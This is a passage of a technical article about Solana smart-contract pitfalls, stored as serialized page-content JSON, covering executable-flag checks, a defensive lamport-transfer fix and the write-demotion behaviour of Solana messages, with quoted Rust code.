data.\n},\n",[79344],{"type":24,"tag":80,"props":79345,"children":79346},{"__ignoreMap":7},[79347,79359,79367,79387,79395,79407,79415,79435,79443,79471,79479,79487],{"type":24,"tag":147,"props":79348,"children":79349},{"class":149,"line":150},[79350,79355],{"type":24,"tag":147,"props":79351,"children":79352},{"style":9044},[79353],{"type":29,"value":79354},"Program",{"type":24,"tag":147,"props":79356,"children":79357},{"style":235},[79358],{"type":29,"value":6630},{"type":24,"tag":147,"props":79360,"children":79361},{"class":149,"line":160},[79362],{"type":24,"tag":147,"props":79363,"children":79364},{"style":154},[79365],{"type":29,"value":79366},"    /// Address of the ProgramData account.\n",{"type":24,"tag":147,"props":79368,"children":79369},{"class":149,"line":169},[79370,79375,79379,79383],{"type":24,"tag":147,"props":79371,"children":79372},{"style":247},[79373],{"type":29,"value":79374},"    programdata_address",{"type":24,"tag":147,"props":79376,"children":79377},{"style":241},[79378],{"type":29,"value":978},{"type":24,"tag":147,"props":79380,"children":79381},{"style":9044},[79382],{"type":29,"value":26459},{"type":24,"tag":147,"props":79384,"children":79385},{"style":235},[79386],{"type":29,"value":1549},{"type":24,"tag":147,"props":79388,"children":79389},{"class":149,"line":178},[79390],{"type":24,"tag":147,"props":79391,"children":79392},{"style":235},[79393],{"type":29,"value":79394},"},\n",{"type":24,"tag":147,"props":79396,"children":79397},{"class":149,"line":187},[79398,79403],{"type":24,"tag":147,"props":79399,"children":79400},{"style":9044},[79401],{"type":29,"value":79402},"ProgramData",{"type":24,"tag":147,"props":79404,"children":79405},{"style":235},[79406],{"type":29,"value":6630},{"type":24,"tag":147,"props":79408,"children":79409},{"class":149,"line":196},[79410],{"type":24,"tag":147,"props":79411,"children":79412},{"style":154},[79413],{"type":29,"value":79414},"    /// Slot that the program was last modified.\n",{"type":24,"tag":147,"props":79416,"children":79417},{"class":149,"line":205},[79418,79423,79427,79431],{"type":24,"tag":147,"props":79419,"children":79420},{"style":247},[79421],{"type":29,"value":79422},"    slot",{"type":24,"tag":147,"props":79424,"children":79425},{"style":241},[79426],{"type":29,"value":978},{"type":24,"tag":147,"props":79428,"children":79429},{"style":9044},[79430],{"type":29,"value":11484},{"type":24,"tag":147,"props":79432,"children":79433},{"style":235},[79434],{"type":29,"value":1549},{"type":24,"tag":147,"props":79436,"children":79437},{"class":149,"line":214},[79438],{"type":24,"tag":147,"props":79439,"children":79440},{"style":154},[79441],{"type":29,"value":79442},"    /// Address of the Program's upgrade authority.\n",{"type":24,"tag":147,"props":79444,"children":79445},{"class":149,"line":272},[79446,79451,79455,79459,79463,79467],{"type":24,"tag":147,"props":79447,"children":79448},{"style":247},[79449],{"type":29,"value":79450},"    upgrade_authority_address",{"type":24,"tag":147,"props":79452,"children":79453},{"style":241},[79454],{"type":29,"value":978},{"type":24,"tag":147,"props":79456,"children":79457},{"style":9044},[79458],{"type":29,"value":33247},{"type":24,"tag":147,"props":79460,"children":79461},{"style":235},[79462],{"type":29,"value":3583},{"type":24,"tag":147,"props":79464,"children":79465},{"style":9044},[79466],{"type":29,"value":27000},{"type":24,"tag":147,"props":79468,"children":79469},{"style":235},[79470],{"type":29,"value":11763},{"type":24,"tag":147,"props":79472,"children":79473},{"class":149,"line":281},[79474],{"type":24,"tag":147,"props":79475,"children":79476},{"style":154},[79477],{"type":29,"value":79478},"    // The raw program data follows this serialized structure in the\n",{"type":24,"tag":147,"props":79480,"children":79481},{"class":149,"line":299},[79482],{"type":24,"tag":147,"props":79483,"children":79484},{"style":154},[79485],{"type":29,"value":79486},"    // account's data.\n",{"type":24,"tag":147,"props":79488,"children":79489},{"class":149,"line":308},[79490],{"type":24,"tag":147,"props":79491,"children":79492},{"style":235},[79493],{"type":29,"value":79394},{"type":24,"tag":25,"props":79495,"children":79496},{},[79497,79499,79506],{"type":29,"value":79498},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":24,"tag":2773,"props":79500,"children":79503},{"href":79501,"rel":79502},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[2777],[79504],{"type":29,"value":79505},"SIMD-0162",{"type":29,"value":79507},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":24,"tag":25,"props":79509,"children":79510},{},[79511,79513,79518,79520,79525],{"type":29,"value":79512},"This change is also a ",{"type":24,"tag":10949,"props":79514,"children":79515},{},[79516],{"type":29,"value":79517},"hard requirement for supporting the new loader-v4",{"type":29,"value":79519},". Unlike the upgradable loader, which relies on a separate ",{"type":24,"tag":80,"props":79521,"children":79523},{"className":79522},[],[79524],{"type":29,"value":79402},{"type":29,"value":79526}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":24,"tag":25,"props":79528,"children":79529},{},[79530,79532,79539,79541,79546],{"type":29,"value":79531},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":24,"tag":2773,"props":79533,"children":79536},{"href":79534,"rel":79535},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[2777],[79537],{"type":29,"value":79538},"migrate",{"type":29,"value":79540}," from the upgradable loader to loader-v4 — without hitting the ",{"type":24,"tag":80,"props":79542,"children":79544},{"className":79543},[],[79545],{"type":29,"value":78979},{"type":29,"value":79547}," restriction.",{"type":24,"tag":112,"props":79549,"children":79551},{"id":79550},"fix-2-reject-program-accounts",[79552],{"type":29,"value":79553},"Fix 2: Reject Program Accounts",{"type":24,"tag":25,"props":79555,"children":79556},{},[79557],{"type":29,"value":79558},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":24,"tag":137,"props":79560,"children":79562},{"className":8614,"code":79561,"language":8613,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[79563],{"type":24,"tag":80,"props":79564,"children":79565},{"__ignoreMap":7},[79566,79642,79690,79706,79713,79752,79796,79820,79869,79897],{"type":24,"tag":147,"props":79567,"children":79568},{"class":149,"line":150},[79569,79573,79577,79582,79586,79590,79594,79598,79602,79606,79610,79614,79618,79622,79626,79630,79634,79638],{"type":24,"tag":147,"props":79570,"children":79571},{"style":218},[79572],{"type":29,"value":19307},{"type":24,"tag":147,"props":79574,"children":79575},{"style":218},[79576],{"type":29,"value":19312},{"type":24,"tag":147,"props":79578,"children":79579},{"style":229},[79580],{"type":29,"value":79581}," can_transfer_lamports",{"type":24,"tag":147,"props":79583,"children":79584},{"style":235},[79585],{"type":29,"value":480},{"type":24,"tag":147,"props":79587,"children":79588},{"style":247},[79589],{"type":29,"value":18570},{"type":24,"tag":147,"props":79591,"children":79592},{"style":241},[79593],{"type":29,"value":978},{"type":24,"tag":147,"props":79595,"children":79596},{"style":241},[79597],{"type":29,"value":12767},{"type":24,"tag":147,"props":79599,"children":79600},{"style":9044},[79601],{"type":29,"value":20552},{"type":24,"tag":147,"props":79603,"children":79604},{"style":235},[79605],{"type":29,"value":546},{"type":24,"tag":147,"props":79607,"children":79608},{"style":247},[79609],{"type":29,"value":21123},{"type":24,"tag":147,"props":79611,"children":79612},{"style":241},[79613],{"type":29,"value":978},{"type":24,"tag":147,"props":79615,"children":79616},{"style":9044},[79617],{"type":29,"value":11484},{"type":24,"tag":147,"props":79619,"children":79620},{"style":235},[79621],{"type":29,"value":564},{"type":24,"tag":147,"props":79623,"children":79624},{"style":241},[79625],{"type":29,"value":495},{"type":24,"tag":147,"props":79627,"children":79628},{"style":9044},[79629],{"type":29,"value":19378},{"type":24,"tag":147,"props":79631,"children":79632},{"style":235},[79633],{"type":29,"value":3583},{"type":24,"tag":147,"props":79635,"children":79636},{"style":9044},[79637],{"type":29,"value":35286},{"type":24,"tag":147,"props":79639,"children":79640},{"style":235},[79641],{"type":29,"value":12907},{"type":24,"tag":147,"props":79643,"children":79644},{"class":149,"line":160},[79645,79649,79654,79658,79662,79666,79670,79674,79678,79682,79686],{"type":24,"tag":147,"props":79646,"children":79647},{"style":218},[79648],{"type":29,"value":25870},{"type":24,"tag":147,"props":79650,"children":79651},{"style":229},[79652],{"type":29,"value":79653}," is_program",{"type":24,"tag":147,"props":79655,"children":79656},{"style":235},[79657],{"type":29,"value":480},{"type":24,"tag":147,"props":79659,"children":79660},{"style":247},[79661],{"type":29,"value":18570},{"type":24,"tag":147,"props":79663,"children":79664},{"style":241},[79665],{"type":29,"value":978},{"type":24,"tag":147,"props":79667,"children":79668},{"style":241},[79669],{"type":29,"value":12767},{"type":24,"tag":147,"props":79671,"children":79672},{"style":9044},[79673],{"type":29,"value":20552},{"type":24,"tag":147,"props":79675,"children":79676},{"style":235},[79677],{"type":29,"value":564},{"type":24,"tag":147,"props":79679,"children":79680},{"style":241},[79681],{"type":29,"value":495},{"type":24,"tag":147,"props":79683,"children":79684},{"style":9044},[79685],{"type":29,"value":17669},{"type":24,"tag":147,"props":79687,"children":79688},{"style":235},[79689],{"type":29,"value":6630},{"type":24,"tag":147,"props":79691,"children":79692},{"class":149,"line":169},[79693,79697,79701],{"type":24,"tag":147,"props":79694,"children":79695},{"style":247},[79696],{"type":29,"value":30772},{"type":24,"tag":147,"props":79698,"children":79699},{"style":241},[79700],{"type":29,"value":87},{"type":24,"tag":147,"props":79702,"children":79703},{"style":235},[79704],{"type":29,"value":79705},"executable\n",{"type":24,"tag":147,"props":79707,"children":79708},{"class":149,"line":178},[79709],{"type":24,"tag":147,"props":79710,"children":79711},{"style":235},[79712],{"type":29,"value":827},{"type":24,"tag":147,"props":79714,"children":79715},{"class":149,"line":187},[79716,79720,79724,79728,79732,79736,79740,79744,79748],{"type":24,"tag":147,"props":79717,"children":79718},{"style":218},[79719],{"type":29,"value":17406},{"type":24,"tag":147,"props":79721,"children":79722},{"style":247},[79723],{"type":29,"value":78473},{"type":24,"tag":147,"props":79725,"children":79726},{"style":241},[79727],{"type":29,"value":651},{"type":24,"tag":147,"props":79729,"children":79730},{"style":9044},[79731],{"type":29,"value":49068},{"type":24,"tag":147,"props":79733,"children":79734},{"style":241},[79735],{"type":29,"value":9106},{"type":24,"tag":147,"props":79737,"children":79738},{"style":229},[79739],{"type":29,"value":21960},{"type":24,"tag":147,"props":79741,"children":79742},{"style":235},[79743],{"type":29,"value":19495},{"type":24,"tag":147,"props":79745,"children":79746},{"style":241},[79747],{"type":29,"value":8785},{"type":24,"tag":147,"props":79749,"children":79750},{"style":235},[79751],{"type":29,"value":432},{"type":24,"tag":147,"props":79753,"children":79754},{"class":149,"line":196},[79755,79759,79764,79768,79772,79776,79780,79784,79788,79792],{"type":24,"tag":147,"props":79756,"children":79757},{"style":218},[79758],{"type":29,"value":17406},{"type":24,"tag":147,"props":79760,"children":79761},{"style":247},[79762],{"type":29,"value":79763}," balance_after",{"type":24,"tag":147,"props":79765,"children":79766},{"style":241},[79767],{"type":29,"value":651},{"type":24,"tag":147,"props":79769,"children":79770},{"style":247},[79771],{"type":29,"value":11107},{"type":24,"tag":147,"props":79773,"children":79774},{"style":241},[79775],{"type":29,"value":87},{"type":24,"tag":147,"props":79777,"children":79778},{"style":229},[79779],{"type":29,"value":21123},{"type":24,"tag":147,"props":79781,"children":79782},{"style":235},[79783],{"type":29,"value":19658},{"type":24,"tag":147,"props":79785,"children":79786},{"style":241},[79787],{"type":29,"value":624},{"type":24,"tag":147,"props":79789,"children":79790},{"style":247},[79791],{"type":29,"value":78784},{"type":24,"tag":147,"props":79793,"children":79794},{"style":235},[79795],{"type":29,"value":432},{"type":24,"tag":147,"props":79797,"children":79798},{"class":149,"line":205},[79799,79803,79807,79811,79815],{"type":24,"tag":147,"props":79800,"children":79801},{"style":9044},[79802],{"type":29,"value":26093},{"type":24,"tag":147,"props":79804,"children":79805},{"style":235},[79806],{"type":29,"value":480},{"type":24,"tag":147,"props":79808,"children":79809},{"style":247},[79810],{"type":29,"value":18570},{"type":24,"tag":147,"props":79812,"children":79813},{"style":241},[79814],{"type":29,"value":87},{"type":24,"tag":147,"props":79816,"children":79817},{"style":235},[79818],{"type":29,"value":79819},"is_writable\n",{"type":24,"tag":147,"props":79821,"children":79822},{"class":149,"line":214},[79823,79827,79831,79835,79840,79844,79849,79853,79857,79861,79865],{"type":24,"tag":147,"props":79824,"children":79825},{"style":241},[79826],{"type":29,"value":21233},{"type":24,"tag":147,"props":79828,"children":79829},{"style":247},[79830],{"type":29,"value":78473},{"type":24,"tag":147,"props":79832,"children":79833},{"style":241},[79834],{"type":29,"value":87},{"type":24,"tag":147,"props":79836,"children":79837},{"style":229},[79838],{"type":29,"value":79839},"is_exempt",{"type":24,"tag":147,"props":79841,"children":79842},{"style":235},[79843],{"type":29,"value":480},{"type":24,"tag":147,"props":79845,"children":79846},{"style":247},[79847],{"type":29,"value":79848},"balance_after",{"type":24,"tag":147,"props":79850,"children":79851},{"style":235},[79852],{"type":29,"value":546},{"type":24,"tag":147,"props":79854,"children":79855},{"style":247},[79856],{"type":29,"value":18570},{"type":24,"tag":147,"props":79858,"children":79859},{"style":241},[79860],{"type":29,"value":87},{"type":24,"tag":147,"props":79862,"children":79863},{"style":229},[79864],{"type":29,"value":19422},{"type":24,"tag":147,"props":79866,"children":79867},{"style":235},[79868],{"type":29,"value":21272},{"type":24,"tag":147,"props":79870,"children":79871},{"class":149,"line":272},[79872,79876,79880,79885,79889,79893],{"type":24,"tag":147,"props":79873,"children":79874},{"style":241},[79875],{"type":29,"value":21233},{"type":24,"tag":147,"props":79877,"children":79878},{"style":241},[79879],{"type":29,"value":3598},{"type":24,"tag":147,"props":79881,"children":79882},{"style":229},[79883],{"type":29,"value":79884},"is_program",{"type":24,"tag":147,"props":79886,"children":79887},{"style":235},[79888],{"type":29,"value":480},{"type":24,"tag":147,"props":79890,"children":79891},{"style":247},[79892],{"type":29,"value":18570},{"type":24,"tag":147,"props":79894,"children":79895},{"style":235},[79896],{"type":29,"value":3519},{"type":24,"tag":147,"props":79898,"children":79899},{"class":149,"line":281},[79900],{"type":24,"tag":147,"props":79901,"children":79902},{"style":235},[79903],{"type":29,"value":827},{"type":24,"tag":25,"props":79905,"children":79906},{},[79907],{"type":29,"value":79908},"Now we’re safe...right?",{"type":24,"tag":43,"props":79910,"children":79912},{"id":79911},"bug-3-the-write-demotion-trap",[79913],{"type":29,"value":79914},"Bug 3: The Write-Demotion Trap",{"type":24,"tag":25,"props":79916,"children":79917},{},[79918,79920,79925,79927,79932],{"type":29,"value":79919},"On Solana, accounts passed as ",{"type":24,"tag":10949,"props":79921,"children":79922},{},[79923],{"type":29,"value":79924},"writable",{"type":29,"value":79926}," in a transaction can be ",{"type":24,"tag":10949,"props":79928,"children":79929},{},[79930],{"type":29,"value":79931},"silently downgraded to read-only",{"type":29,"value":79933},". This behavior occurs during message sanitization — even before your program runs.",{"type":24,"tag":25,"props":79935,"children":79936},{},[79937,79939,79946],{"type":29,"value":79938},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":24,"tag":2773,"props":79940,"children":79943},{"href":79941,"rel":79942},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[2777],[79944],{"type":29,"value":79945},"MessageV0",{"type":29,"value":79947},", but legacy is simpler to follow):",{"type":24,"tag":137,"props":79949,"children":79951},{"className":8614,"code":79950,"language":8613,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[79952],{"type":24,"tag":80,"props":79953,"children":79954},{"__ignoreMap":7},[79955,79963,79987,80075,80096,80108,80124,80140,80188,80217,80271,80307,80315,80352,80364,80402,80414,80421,80428,80435,80442,80450,80510,80563],{"type":24,"tag":147,"props":79956,"children":79957},{"class":149,"line":150},[79958],{"type":24,"tag":147,"props":79959,"children":79960},{"style":154},[79961],{"type":29,"value":79962},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":24,"tag":147,"props":79964,"children":79965},{"class":149,"line":160},[79966,79970,79975,79979,79983],{"type":24,"tag":147,"props":79967,"children":79968},{"style":218},[79969],{"type":29,"value":33796},{"type":24,"tag":147,"props":79971,"children":79972},{"style":9044},[79973],{"type":29,"value":79974}," LegacyMessage",{"type":24,"tag":147,"props":79976,"children":79977},{"style":235},[79978],{"type":29,"value":28524},{"type":24,"tag":147,"props":79980,"children":79981},{"style":9044},[79982],{"type":29,"value":8714},{"type":24,"tag":147,"props":79984,"children":79985},{"style":235},[79986],{"type":29,"value":12907},{"type":24,"tag":147,"props":79988,"children":79989},{"class":149,"line":169},[79990,79994,79998,80002,80006,80010,80014,80019,80023,80028,80032,80037,80041,80045,80050,80054,80058,80062,80066,80071],{"type":24,"tag":147,"props":79991,"children":79992},{"style":218},[79993],{"type":29,"value":26445},{"type":24,"tag":147,"props":79995,"children":79996},{"style":218},[79997],{"type":29,"value":19312},{"type":24,"tag":147,"props":79999,"children":80000},{"style":229},[80001],{"type":29,"value":37533},{"type":24,"tag":147,"props":80003,"children":80004},{"style":235},[80005],{"type":29,"value":480},{"type":24,"tag":147,"props":80007,"children":80008},{"style":247},[80009],{"type":29,"value":73619},{"type":24,"tag":147,"props":80011,"children":80012},{"style":241},[80013],{"type":29,"value":978},{"type":24,"tag":147,"props":80015,"children":80016},{"style":235},[80017],{"type":29,"value":80018}," legacy",{"type":24,"tag":147,"props":80020,"children":80021},{"style":241},[80022],{"type":29,"value":9106},{"type":24,"tag":147,"props":80024,"children":80025},{"style":9044},[80026],{"type":29,"value":80027},"Message",{"type":24,"tag":147,"props":80029,"children":80030},{"style":235},[80031],{"type":29,"value":546},{"type":24,"tag":147,"props":80033,"children":80034},{"style":247},[80035],{"type":29,"value":80036},"reserved_account_keys",{"type":24,"tag":147,"props":80038,"children":80039},{"style":241},[80040],{"type":29,"value":978},{"type":24,"tag":147,"props":80042,"children":80043},{"style":241},[80044],{"type":29,"value":12767},{"type":24,"tag":147,"props":80046,"children":80047},{"style":9044},[80048],{"type":29,"value":80049},"HashSet",{"type":24,"tag":147,"props":80051,"children":80052},{"style":235},[80053],{"type":29,"value":3583},{"type":24,"tag":147,"props":80055,"children":80056},{"style":9044},[80057],{"type":29,"value":27000},{"type":24,"tag":147,"props":80059,"children":80060},{"style":235},[80061],{"type":29,"value":26050},{"type":24,"tag":147,"props":80063,"children":80064},{"style":241},[80065],{"type":29,"value":495},{"type":24,"tag":147,"props":80067,"children":80068},{"style":218},[80069],{"type":29,"value":80070}," Self",{"type":24,"tag":147,"props":80072,"children":80073},{"style":235},[80074],{"type":29,"value":6630},{"type":24,"tag":147,"props":80076,"children":80077},{"class":149,"line":178},[80078,80082,80087,80091],{"type":24,"tag":147,"props":80079,"children":80080},{"style":218},[80081],{"type":29,"value":8696},{"type":24,"tag":147,"props":80083,"children":80084},{"style":247},[80085],{"type":29,"value":80086}," is_writable_account_cache",{"type":24,"tag":147,"props":80088,"children":80089},{"style":241},[80090],{"type":29,"value":651},{"type":24,"tag":147,"props":80092,"children":80093},{"style":247},[80094],{"type":29,"value":80095}," message\n",{"type":24,"tag":147,"props":80097,"children":80098},{"class":149,"line":187},[80099,80103],{"type":24,"tag":147,"props":80100,"children":80101},{"style":241},[80102],{"type":29,"value":8797},{"type":24,"tag":147,"props":80104,"children":80105},{"style":235},[80106],{"type":29,"value":80107},"account_keys\n",{"type":24,"tag":147,"props":80109,"children":80110},{"class":149,"line":196},[80111,80115,80120],{"type":24,"tag":147,"props":80112,"children":80113},{"style":241},[80114],{"type":29,"value":8797},{"type":24,"tag":147,"props":80116,"children":80117},{"style":229},[80118],{"type":29,"value":80119},"iter",{"type":24,"tag":147,"props":80121,"children":80122},{"style":235},[80123],{"type":29,"value":13361},{"type":24,"tag":147,"props":80125,"children":80126},{"class":149,"line":205},[80127,80131,80136],{"type":24,"tag":147,"props":80128,"children":80129},{"style":241},[80130],{"type":29,"value":8797},{"type":24,"tag":147,"props":80132,"children":80133},{"style":229},[80134],{"type":29,"value":80135},"enumerate",{"type":24,"tag":147,"props":80137,"children":80138},{"style":235},[80139],{"type":29,"value":13361},{"type":24,"tag":147,"props":80141,"children":80142},{"class":149,"line":214},[80143,80147,80151,80155,80159,80163,80167,80171,80176,80180,80184],{"type":24,"tag":147,"props":80144,"children":80145},{"style":241},[80146],{"type":29,"value":8797},{"type":24,"tag":147,"props":80148,"children":80149},{"style":229},[80150],{"type":29,"value":72684},{"type":24,"tag":147,"props":80152,"children":80153},{"style":235},[80154],{"type":29,"value":480},{"type":24,"tag":147,"props":80156,"children":80157},{"style":241},[80158],{"type":29,"value":16037},{"type":24,"tag":147,"props":80160,"children":80161},{"style":235},[80162],{"type":29,"value":480},{"type":24,"tag":147,"props":80164,"children":80165},{"style":247},[80166],{"type":29,"value":9363},{"type":24,"tag":147,"props":80168,"children":80169},{"style":235},[80170],{"type":29,"value":546},{"type":24,"tag":147,"props":80172,"children":80173},{"style":247},[80174],{"type":29,"value":80175},"_key",{"type":24,"tag":147,"props":80177,"children":80178},{"style":235},[80179],{"type":29,"value":8758},{"type":24,"tag":147,"props":80181,"children":80182},{"style":241},[80183],{"type":29,"value":16037},{"type":24,"tag":147,"props":80185,"children":80186},{"style":235},[80187],{"type":29,"value":6630},{"type":24,"tag":147,"props":80189,"children":80190},{"class":149,"line":272},[80191,80196,80200,80205,80209,80213],{"type":24,"tag":147,"props":80192,"children":80193},{"style":247},[80194],{"type":29,"value":80195},"                message",{"type":24,"tag":147,"props":80197,"children":80198},{"style":241},[80199],{"type":29,"value":87},{"type":24,"tag":147,"props":80201,"children":80202},{"style":229},[80203],{"type":29,"value":80204},"is_writable_index",{"type":24,"tag":147,"props":80206,"children":80207},{"style":235},[80208],{"type":29,"value":480},{"type":24,"tag":147,"props":80210,"children":80211},{"style":247},[80212],{"type":29,"value":9363},{"type":24,"tag":147,"props":80214,"children":80215},{"style":235},[80216],{"type":29,"value":269},{"type":24,"tag":147,"props":80218,"children":80219},{"class":149,"line":281},[80220,80225,80229,80233,80237,80242,80246,80250,80254,80258,80263,80267],{"type":24,"tag":147,"props":80221,"children":80222},{"style":241},[80223],{"type":29,"value":80224},"                    &&",{"type":24,"tag":147,"props":80226,"children":80227},{"style":241},[80228],{"type":29,"value":3598},{"type":24,"tag":147,"props":80230,"children":80231},{"style":247},[80232],{"type":29,"value":80036},{"type":24,"tag":147,"props":80234,"children":80235},{"style":241},[80236],{"type":29,"value":87},{"type":24,"tag":147,"props":80238,"children":80239},{"style":229},[80240],{"type":29,"value":80241},"contains",{"type":24,"tag":147,"props":80243,"children":80244},{"style":235},[80245],{"type":29,"value":480},{"type":24,"tag":147,"props":80247,"children":80248},{"style":241},[80249],{"type":29,"value":485},{"type":24,"tag":147,"props":80251,"children":80252},{"style":247},[80253],{"type":29,"value":73619},{"type":24,"tag":147,"props":80255,"children":80256},{"style":241},[80257],{"type":29,"value":87},{"type":24,"tag":147,"props":80259,"children":80260},{"style":235},[80261],{"type":29,"value":80262},"account_keys[",{"type":24,"tag":147,"props":80264,"children":80265},{"style":247},[80266],{"type":29,"value":9363},{"type":24,"tag":147,"props":80268,"children":80269},{"style":235},[80270],{"type":29,"value":61029},{"type":24,"tag":147,"props":80272,"children":80273},{"class":149,"line":299},[80274,80278,80282,80286,80290,80295,80299,80303],{"type":24,"tag":147,"props":80275,"children":80276},{"style":241},[80277],{"type":29,"value":80224},{"type":24,"tag":147,"props":80279,"children":80280},{"style":241},[80281],{"type":29,"value":3598},{"type":24,"tag":147,"props":80283,"children":80284},{"style":247},[80285],{"type":29,"value":73619},{"type":24,"tag":147,"props":80287,"children":80288},{"style":241},[80289],{"type":29,"value":87},{"type":24,"tag":147,"props":80291,"children":80292},{"style":229},[80293],{"type":29,"value":80294},"demote_program_id",{"type":24,"tag":147,"props":80296,"children":80297},{"style":235},[80298],{"type":29,"value":480},{"type":24,"tag":147,"props":80300,"children":80301},{"style":247},[80302],{"type":29,"value":9363},{"type":24,"tag":147,"props":80304,"children":80305},{"style":235},[80306],{"type":29,"value":269},{"type":24,"tag":147,"props":80308,"children":80309},{"class":149,"line":308},[80310],{"type":24,"tag":147,"props":80311,"children":80312},{"style":235},[80313],{"type":29,"value":80314},"            })\n",{"type":24,"tag":147,"props":80316,"children":80317},{"class":149,"line":317},[80318,80322,80327,80331,80335,80339,80343,80347],{"type":24,"tag":147,"props":80319,"children":80320},{"style":241},[80321],{"type":29,"value":8797},{"type":24,"tag":147,"props":80323,"children":80324},{"style":229},[80325],{"type":29,"value":80326},"collect",{"type":24,"tag":147,"props":80328,"children":80329},{"style":241},[80330],{"type":29,"value":9106},{"type":24,"tag":147,"props":80332,"children":80333},{"style":235},[80334],{"type":29,"value":3583},{"type":24,"tag":147,"props":80336,"children":80337},{"style":9044},[80338],{"type":29,"value":22816},{"type":24,"tag":147,"props":80340,"children":80341},{"style":235},[80342],{"type":29,"value":3583},{"type":24,"tag":147,"props":80344,"children":80345},{"style":247},[80346],{"type":29,"value":8714},{"type":24,"tag":147,"props":80348,"children":80349},{"style":235},[80350],{"type":29,"value":80351},">>();\n",{"type":24,"tag":147,"props":80353,"children":80354},{"class":149,"line":332},[80355,80360],{"type":24,"tag":147,"props":80356,"children":80357},{"style":218},[80358],{"type":29,"value":80359},"        Self",{"type":24,"tag":147,"props":80361,"children":80362},{"style":235},[80363],{"type":29,"value":6630},{"type":24,"tag":147,"props":80365,"children":80366},{"class":149,"line":350},[80367,80372,80376,80381,80385,80390,80394,80398],{"type":24,"tag":147,"props":80368,"children":80369},{"style":247},[80370],{"type":29,"value":80371},"            message",{"type":24,"tag":147,"props":80373,"children":80374},{"style":241},[80375],{"type":29,"value":978},{"type":24,"tag":147,"props":80377,"children":80378},{"style":9044},[80379],{"type":29,"value":80380}," Cow",{"type":24,"tag":147,"props":80382,"children":80383},{"style":241},[80384],{"type":29,"value":9106},{"type":24,"tag":147,"props":80386,"children":80387},{"style":229},[80388],{"type":29,"value":80389},"Owned",{"type":24,"tag":147,"props":80391,"children":80392},{"style":235},[80393],{"type":29,"value":480},{"type":24,"tag":147,"props":80395,"children":80396},{"style":247},[80397],{"type":29,"value":73619},{"type":24,"tag":147,"props":80399,"children":80400},{"style":235},[80401],{"type":29,"value":12362},{"type":24,"tag":147,"props":80403,"children":80404},{"class":149,"line":358},[80405,80410],{"type":24,"tag":147,"props":80406,"children":80407},{"style":247},[80408],{"type":29,"value":80409},"            is_writable_account_cache",{"type":24,"tag":147,"props":80411,"children":80412},{"style":235},[80413],{"type":29,"value":1549},{"type":24,"tag":147,"props":80415,"children":80416},{"class":149,"line":397},[80417],{"type":24,"tag":147,"props":80418,"children":80419},{"style":235},[80420],{"type":29,"value":441},{"type":24,"tag":147,"props":80422,"children":80423},{"class":149,"line":421},[80424],{"type":24,"tag":147,"props":80425,"children":80426},{"style":235},[80427],{"type":29,"value":1952},{"type":24,"tag":147,"props":80429,"children":80430},{"class":149,"line":435},[80431],{"type":24,"tag":147,"props":80432,"children":80433},{"style":235},[80434],{"type":29,"value":827},{"type":24,"tag":147,"props":80436,"children":80437},{"class":149,"line":444},[80438],{"type":24,"tag":147,"props":80439,"children":80440},{"emptyLinePlaceholder":16},[80441],{"type":29,"value":314},{"type":24,"tag":147,"props":80443,"children":80444},{"class":149,"line":452},[80445],{"type":24,"tag":147,"props":80446,"children":80447},{"style":154},[80448],{"type":29,"value":80449},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":24,"tag":147,"props":80451,"children":80452},{"class":149,"line":461},[80453,80457,80461,80466,80470,80474,80478,80482,80486,80490,80494,80498,80502,80506],{"type":24,"tag":147,"props":80454,"children":80455},{"style":218},[80456],{"type":29,"value":19307},{"type":24,"tag":147,"props":80458,"children":80459},{"style":218},[80460],{"type":29,"value":19312},{"type":24,"tag":147,"props":80462,"children":80463},{"style":229},[80464],{"type":29,"value":80465}," demote_program_id",{"type":24,"tag":147,"props":80467,"children":80468},{"style":235},[80469],{"type":29,"value":480},{"type":24,"tag":147,"props":80471,"children":80472},{"style":241},[80473],{"type":29,"value":485},{"type":24,"tag":147,"props":80475,"children":80476},{"style":218},[80477],{"type":29,"value":19330},{"type":24,"tag":147,"props":80479,"children":80480},{"style":235},[80481],{"type":29,"value":546},{"type":24,"tag":147,"props":80483,"children":80484},{"style":247},[80485],{"type":29,"value":9363},{"type":24,"tag":147,"props":80487,"children":80488},{"style":241},[80489],{"type":29,"value":978},{"type":24,"tag":147,"props":80491,"children":80492},{"style":9044},[80493],{"type":29,"value":19348},{"type":24,"tag":147,"props":80495,"children":80496},{"style":235},[80497],{"type":29,"value":564},{"type":24,"tag":147,"props":80499,"children":80500},{"style":241},[80501],{"type":29,"value":495},{"type":24,"tag":147,"props":80503,"children":80504},{"style":9044},[80505],{"type":29,"value":17669},{"type":24,"tag":147,"props":80507,"